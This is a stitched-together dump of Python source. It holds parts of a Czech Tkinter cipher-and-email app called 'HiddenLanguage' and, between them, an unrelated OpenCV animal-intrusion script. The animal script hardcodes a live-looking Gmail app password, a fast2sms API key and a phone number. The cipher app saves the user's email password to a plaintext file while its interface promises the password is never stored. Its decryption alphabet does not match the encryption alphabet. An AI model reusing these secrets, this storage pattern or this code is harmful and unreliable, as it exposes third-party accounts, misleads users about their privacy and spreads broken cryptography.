            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        def Zpet_do_menu():
            desifrovani_okno.destroy()
            Uvodni_menu()

        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",15))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack(pady=10)

        def Redirect():
            # Toto je kod který se spustí po kliknutí na dešifrovácí tlačitko
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=15)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()


        # Tlačítka
        tlacitko_desifrovani = tk.Button(desifrovani_okno, text="Dešifrovat zprávu", command=Redirect, height=1,
                                         width=15, font=("Arial", 15,"bold"), bg="blue", fg="white")
        tlacitko_desifrovani.pack(pady=20)


        zpet_do_menu = tk.Button(desifrovani_okno, text="Zpět do menu", command=Zpet_do_menu,
                                   font=("Arial", 15, "bold"), bg="blue", fg="white", activeforeground="black")
        zpet_do_menu.pack(pady=10)


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole









        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()

    # --------------------------------



    def Audio():
        import webbrowser
        audio_okno = tk.Tk()
        audio_okno.title("Audio informace")
        audio_okno.geometry("600x500")
        audio_okno.configure(bg="black")

        nazev = tk.Label(audio_okno,text="Audio informace",font=("Arial",25,"bold"),fg="blue",bg="black")
        nazev.pack(pady=10)
        podnadpis = tk.Label(audio_okno,text="Zde uslyšíte základní informace o projektu" + "\n" + "Kliknutím na malé tlačítko budete přesměrování na zdroj tts" + "\n" + "Dole je tlačítko na nahlášení bugu" + "\n" + "Takže pokud jste našli jakýkoliv bug, tak neváhejte a kontaktujte mě.",font=("Arial",13),fg="white",bg="black")
        podnadpis.pack(pady=10)

        # Tady budeme definovat akci když klikne na tlačítko s url
        def Web():
            url = "https://www.speechtech.cz/speechtech-text-to-speech/speechtech-tts-online-demo/#Oldrich30"
            webbrowser.open(url)

        web_button = tk.Button(audio_okno,width=15,height=1,command=Web,text="Zdroj TTS",font=("Arial",13),bg="blue",fg="white",activebackground="white", activeforeground="blue")
        web_button.pack(pady=10)



        from playsound import playsound
        def zpet_do_menu():
            audio_okno.destroy()
            tlacitko_klik()


        def spustit_audio():
            import getpass
            username = getpass.getuser()
            cesta_audio = ("C:\\Users\\" + str(username) + "\\Desktop\\HiddenLanguageAudio.mp3")
            playsound(cesta_audio)

        spustit_audio = tk.Button(audio_okno,width=25,height=3,command=spustit_audio,text="Spustit audio",font=("Arial",15),bg="blue",fg="white",activebackground="white", activeforeground="blue")
        spustit_audio.pack(pady=10)

        # Button pro vypnuti progresu a audia
        zastavit_audio = tk.Button(audio_okno, width=15, height=1, command=zpet_do_menu, text="Zpět do menu",
                                       font=("Arial", 15), bg="blue", fg="white", activebackground="white",
                                       activeforeground="blue")
        zastavit_audio.pack(pady=10)

        # Tlačítko na bugy
        def copy_to_clipboard():
            import tkinter.messagebox as mbox
            import pyperclip
            text_to_copy = "g3c45g8mkcdhaoigpg5q@centrum.cz"  # Získáme text z vstupního pole
            pyperclip.copy(text_to_copy)  # Zkopírujeme text do schránky
            mbox.showinfo("Úspěch", "Moje anonymní e-mailová adresa zkopírována do schránky.")


        nahlaseni_bugu = tk.Button(audio_okno, width=13, height=1, command=copy_to_clipboard, text="Nahlásit bug",
                                       font=("Arial", 13), bg="red", fg="white", activebackground="white",
                                       activeforeground="blue")
        nahlaseni_bugu.pack(pady=10)






        audio_okno.mainloop()


    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)
    prostor_button.columnconfigure(3,weight=10)

    # Tady je tlačítko na šifrování
    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="#F07474",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    # Tady je tlačítko na dešifrování
    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="#9CEF99",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)

    # Nově přidané audio info zde
    tlacitko_audio = tk.Button(prostor_button, text="Informace", command=Audio,
                               font=("Arial", 15, "bold"), width=50, height=4, bg="black", fg="white",
                               activebackground="white", activeforeground="black")
    tlacitko_audio.grid(row=2, column=0, sticky=tk.W + tk.E)

    # Tady je tlačítko na zpět do menu
    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=3,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()



def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x600")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"),fg="blue")
    nazev.pack()

    aktualni_update = tk.Label(okno, text="Aktuální verze 1.1 ze dne 2023-07-29", font=("Arial", 15, "bold"),fg="blue",bg="#A1B7FF")
    aktualni_update.pack()
    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    copyright = tk.Label(okno, text="Naprogramoval Jakub Šobr 2023", font=("Arial", 9))
    copyright.pack()

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():

    import tkinter as tk
    import time

    def update_time():
        current_time = time.strftime("%d.%m %Y - %H:%M:%S")
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)

    def tlacitko_potvrdit_heslo():
        uzivatel= entry_uzivatel.get()
        heslo = entry_password.get()
        if heslo == "***" and uzivatel == "***" or heslo == "host" and uzivatel == "host":
            label_error.config(text="Zadali jste správné heslo.", font=("Arial", 10), fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
            Uvodni_menu()
        else:
            label_error.config(text="Neplatné uživatelské jméno nebo heslo.",font=("Arial",10))
            entry_password.delete(0, tk.END)
            entry_uzivatel.delete(0, tk.END)

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    def on_close():
        pass  # Prázdná funkce zabrání zavření okna

    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    prihlaseni.protocol("WM_DELETE_WINDOW", on_close)  # Zavolání funkce on_close při pokusu o zavření okna

    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)


    # TADY JE KOLONKA NA UŽIVATELE
    label_uzivatel = tk.Label(prihlaseni,text="Zadejte uživatelské jméno:",font=("Arial",20))
    label_uzivatel.pack()

    entry_uzivatel = tk.Entry(prihlaseni, font=("Arial", 20))
    entry_uzivatel.pack(pady=20)

    #KOLONKA NA HESLO
    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)
    #konec kolonky a potvrzení v podobe tlacitka


    prihlaseni_button = tk.Button(prihlaseni, text="Potvrdit",bg="blue",fg="white", font=("Arial", 20), command=tlacitko_potvrdit_heslo)
    prihlaseni_button.pack(pady=10)

    # Tady je ukončení programu definitivně!!
    def Konec():
        exit()
    konec = tk.Button(prihlaseni, text="Opustit aplikaci", command=Konec,
                                  font=("Arial", 12, "bold"), bg="red", fg="white", activeforeground="black")
    konec.pack()


    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()

    prihlaseni.mainloop()
Prihlaseni()
Uvodni_menu()

#HiddenLanguage 2023 made by Jakub Šobr
#Můžete se podívat ale heslo FR FR nikde není ukládaný, nejsem cockot
#Ukládají se jenom soubory který se pak nahrávají do přílohy apod.
#Pokud se bojíte tak si udělejte API key od googlu https://console.cloud.google.com/ Crede
#Ostatní info v readme

#Import packages
import numpy as np
#import argparse
import cv2
import random
import pygame
from email.message import EmailMessage
import imutils
import time
import datetime
import imghdr
import os
from collections import Counter
import playsound
import requests
from playsound import playsound
#from imutils.video import VideoStream
from imutils.video import FPS
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# construct the argument parse and parse the arguments
#ap = argparse.ArgumentParser()
#ap.add_argument("-p", "--prototxt", required=True, help="path to Caffe 'deploy' prototxt file")
#ap.add_argument("-m", "--model", required=True, help="path to Caffe pre-trained model")
#ap.add_argument("-c", "--confidence", type=float, default=0.2, help="minimum probability to filter weak detections")
#args = vars(ap.parse_args())

protext="DNN_Object_Detection-master/DNN_Object_Detection-master/MobileNetSSD_deploy.prototxt.txt"
model="DNN_Object_Detection-master/DNN_Object_Detection-master/MobileNetSSD_deploy.caffemodel"

	# initialize the list of class labels MobileNet SSD was trained to
	# detect, then generate a set of bounding box colors for each class
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "pottedplant", "sheep", "sofa", "train", "tvmonitor"]
REQ_CLASSES=["bird","cat","cow","dog","horse","sheep"]
COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))

	#Load model
print("Loading Model...")
net=cv2.dnn.readNetFromCaffe(protext, model)
print("Starting camera feed...")

vs=cv2.VideoCapture(0, cv2.CAP_DSHOW)
	#vs=VideoStream(src=0).start()
time.sleep(2)
fps=FPS().start()

	#Set confidence threshold
conf_thresh=0.2

	#Animal detection counter
count=[]
flag=0
siren_loc=os.path.join(os.getcwd(),'Siren.wav')
global det
det=0
	#Read frame by frame
while vs:
	success, frame = vs.read()
	if not success:
		break
	frame = imutils.resize(frame, width=500)
	#Take the frame dimentions and convert it to a blob
	(h, w) = frame.shape[:2]
	blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300,300)), 0.007843, (300,300), 127.5)

	net.setInput(blob)
	detections = net.forward()
	#frame detection flag
	for i in np.arange(0, detections.shape[2]):
		#Probability associated with predictions
		confidence = detections[0,0,i,2]
		if confidence > conf_thresh:
			#Extract the class labels and dimentions of bounding box
			idx = int(detections[0,0,i,1])
			box = detections[0,0,i,3:7]*np.array([w,h,w,h])
			(startX, startY, endX, endY) = box.astype("int")

			#draw the box with labels
			if CLASSES[idx] in REQ_CLASSES:
				det+=1
				label="{}: {:.2f}%".format("Animal",confidence*100)
				cv2.rectangle(frame, (startX, startY), (endX, endY), (36,255,12), 2)
				if (startY-15) > 15:
					y = (startY - 15)
				else:
					y = (startY+15)
				print(f"Animal Intrusion Alert...!!! {len(count)}")
				path = r"siren/alert"
				file = os.path.join(path, random.choice(os.listdir(path)))
				pygame.mixer.init()
				pygame.mixer.music.load(file)
				pygame.mixer.music.play()
				if det >=10:
					nn = random.randint(0, 100)
					noOfFile = 'Animal' + str(nn) + '.jpg'
					print(type(noOfFile))
					cv2.imwrite("static/Animal_data/" + noOfFile, frame[startY:endY, startX:endX])
					ts = time.time()
					date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')
					timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
					s1 = "a@gmail.com"
					msg = 'Hi countryman!!'
					msg1 = 'We have captured an animal in your forms at ' + timeStamp + ' on ' + date + ' please be safe. '
					t = 'Regards,'
					t1 = 'AI Farming Services.'
					mail_content1 = msg + ',' + '\n' + msg1 + '\n' + '\n' + t + '\n' + t1
					sender_address = 'dopatisukumar@gmail.com'
					sender_pass = 'rzihvvowxagwrwgd'
					receiver_address = 'sukumardopati@gmail.com'
					message1 = MIMEMultipart()
					message1['From'] = sender_address
					message1['To'] = receiver_address
					message1['Subject'] = 'Animal Detection Using OpenCV'
					message1.attach(MIMEText(mail_content1, 'plain'))
					session2 = smtplib.SMTP('smtp.gmail.com', 587)
					session2.starttls()
					session2.login(sender_address, sender_pass)
					text1 = message1.as_string()
					session2.sendmail(sender_address, receiver_address, text1)
					session2.quit()

					newMessage = EmailMessage()
					newMessage['Subject'] = "Animal Detection Using OpenC"
					newMessage['From'] = sender_address
					newMessage['To'] = receiver_address
					newMessage.set_content(mail_content1)

					with open('static/Animal_data/' + noOfFile, 'rb') as f:
						image_data = f.read()
						image_type = imghdr.what(f.name)
						image_name = f.name

					newMessage.add_attachment(image_data, maintype='image', subtype=image_type, filename=image_name)

					with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
						smtp.login(sender_address, sender_pass)
						smtp.send_message(newMessage)

					url = "https://www.fast2sms.com/dev/bulkV2"
					print(url)

					no = '9390517887'
					data = {
						"route": "q",
						"message": mail_content1,
						"language": "english",
						"flash": 0,
						"numbers": no,
					}
					headers = {
						"authorization": "NgtD58YWLjubd2wXVFHAyrP6xOmRvaKeECJ1GhQUBfSsMc7piob3ELPkxpFqQnT7Gu6sitdUIBXMCrSW",
						"Content-Type": "application/json"
					}
					response = requests.post(url, headers=headers, json=data)
					print(response)
					cv2.putText(frame, label, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (36,255,12), 2)


		#Show the frames
	cv2.imshow("Frame", frame)
	count.append(det)
	#Alerts only if at least 15 frames sucessfully detects animals in the last 36 frames (appx 2 sec)

	#if flag==1 and len(count) > c+36:
	#	flag=0
	if flag==1 and len(count) > c +(11*18):
		flag=0
	if Counter(count[len(count)-36:])[1] > 15 and flag==0:


		c=len(count)

	key = cv2.waitKey(1)
	if key == ord("q"):
		break
	fps.update()

fps.stop()
print("Elapsed time: {:.2f}".format(fps.elapsed()))
print("Approximate FPS: {:.2f}".format(fps.fps()))
vs.release()
cv2.destroyAllWindows()
#vs.stop()

import tkinter as tk
from tkinter import messagebox
import random
import smtplib

from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""


def tlacitko_klik():

    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x700")
    # menu.configure(bg="light gray")
    menu.title("HiddenLanguage")


    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    def tlacitko_klik_sif():
        import json
        # Tady se vyčistí soubory txt ze speciálního nastavení = 1) nápověda v emailu, 2) přezdívka v emailu
        with open("napoveda_uzivatel", "w") as file:
            file.write("")

        data = {}
        with open("prezdivka.json", "w") as json_file:
            json.dump(data, json_file)


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")
            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        "Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                                          font=("Arial", 15))
                oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            messagebox.showinfo("Upozornění", "Úspěšně odeslán email!")
            program_bude_ukoncen = tk.Label(sifrovani_okno,
                                            text="Toto okno bude do pár sekund zavřeno.Poté budete moci program použít znovu.")
            program_bude_ukoncen.place(x=250, y=650, width=600, height=100)
            time.sleep(5)
            sifrovani_okno.destroy()
            time.sleep(2)
            Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()

        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)

        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=10)

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #------------------------------------------------------------

        # Tady jsou definovány checkboxy které se ptají na návod a přezdívku
        #Funkce SE SPUSTÍ JAKMILE UŽIVATEL ZMÁČKNE TLAČÍTKO PRO ULOŽENÍ



        def otevri_vyskakovaci_okno():
            vyskakovaci_okno = tk.Toplevel()
            vyskakovaci_okno.geometry("900x500")
            vyskakovaci_okno.title("Nastavení nápovědy v mailu")


            # Tady je definován textbox který se objeví jakmile je v druhé možnosti zaškrtnuto jakože ano
            # Tady bude textbox, který se zobrazí pouze jakmile je zaškrtnutá možnost 1
            def on_text_click(event):
                if textbox.get("1.0",
                               tk.END).strip() == "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!":
                    textbox.delete("1.0", tk.END)  # Smazat původní text při kliknutí do pole
                    textbox.config(fg='black')  # Změnit barvu textu na černou

            def on_focus_out(event):
                if textbox.get("1.0", tk.END).strip() == "":
                    textbox.insert("1.0",
                                   "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!")  # Pokud uživatel nezadal žádný text, vrátit původní placeholder
                    textbox.config(fg='grey')  # Nastavit barvu textu na šedou

            # Placeholder - původní text, který se zobrazuje, dokud uživatel nezačne psát
            placeholder = "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!"

            textbox = tk.Text(vyskakovaci_okno, height=3, width=40, wrap="word", fg='grey',font=("Arial",10))
            textbox.insert("1.0", placeholder)
            textbox.bind('<FocusIn>', on_text_click)  # Při kliknutí do pole
            textbox.bind('<FocusOut>', on_focus_out)  # Když pole ztratí focus (kliknutí mimo pole)
            #KONEC TEXTBOXUUUUUUUUUUU

            def on_checkbox_click():
                if napoveda.get() == 1:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ano")
                else:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ne")

            def chce_jmeno_checkbox_klik():
                if chce_jmeno_y_n.get() == 1:
                    textbox.pack(pady=10)
                else:
                    textbox.pack_forget()

            # Zde jsou checkboxy a otazky
            label = tk.Label(vyskakovaci_okno, text="Nastavení nápovědy", font=("Arial", 20),activeforeground="blue")
            label.pack(pady=10)
            label_napoveda = tk.Label(vyskakovaci_okno,
                                      text="A) Pokud zaškrtnete checkbox, tak bude mail obsahovat návod k dešifrování zprávy." + "\n" + "Pokud nezaškrtnete checkbox, tak nápověda v mailu nebude.",font=("Arial",11),activeforeground="blue")
            label_napoveda.pack(pady=10)

            napoveda = tk.IntVar()
            checkbox = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci aby email obsahoval nápovědu k řešení",
                                      font=("Arial", 12), variable=napoveda, command=on_checkbox_click)
            checkbox.pack(pady=10)


            # Tady je část kodu jenž se zaobývá uživatelem
            label_uzivatel = tk.Label(vyskakovaci_okno,
                                      text="B) Tady je checkbox, který pokud zaškrtnete tak budete mít možnost vymyslet si vlastní přezdívku." + "\n" + "Pokud nezaškrtnete tuto možnost, tak počítač při odeslání mailu přečte název vašeho usera na pc např host nebo tomáš apod.",
                                      font=("Arial", 11), activeforeground="blue")
            label_uzivatel.pack(pady=10)

            chce_jmeno_y_n = tk.IntVar()
            jmeno_uzivatele = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci si sám vytvořit přezdívku",
                                      font=("Arial", 12), variable=chce_jmeno_y_n, command=chce_jmeno_checkbox_klik)
            jmeno_uzivatele.pack(pady=10)

            #Toto uloží hodnoty z checkboxu
            def ulozeni_hodnot():
                import json
                if chce_jmeno_y_n.get() == 1:
                    prezdivka = textbox.get("1.0", "end-1c")

                    data = {
    "chce_prezdivku": True,
    "prezdivka": prezdivka
                    }

                    with open("prezdivka.json", "w") as json_file:
                        json.dump(data, json_file)
                vyskakovaci_okno.destroy()


            odeslat_button = tk.Button(vyskakovaci_okno,height=3,width=20,text="Potvrdit",command=ulozeni_hodnot,font=("Arial",16,"bold"),bg="blue",fg="white",activeforeground="black")
            odeslat_button.place(x=320,y=360)


        specialni_nastaveni = tk.Button(sifrovani_okno,text="Speciální nastavení",command=otevri_vyskakovaci_okno,font=("Arial",12,"bold"),bg="red",fg="white",activeforeground="black")
        specialni_nastaveni.pack(pady=5)


        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            import json
            import datetime

            with open("prezdivka.json", "r") as json_file:
                nactena_data = json.load(json_file)

            chceprezdivku = nactena_data["chce_prezdivku"]
            if chceprezdivku == True:
                qw = nactena_data["prezdivka"]
            else:
                qw = getpass.getuser()

            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
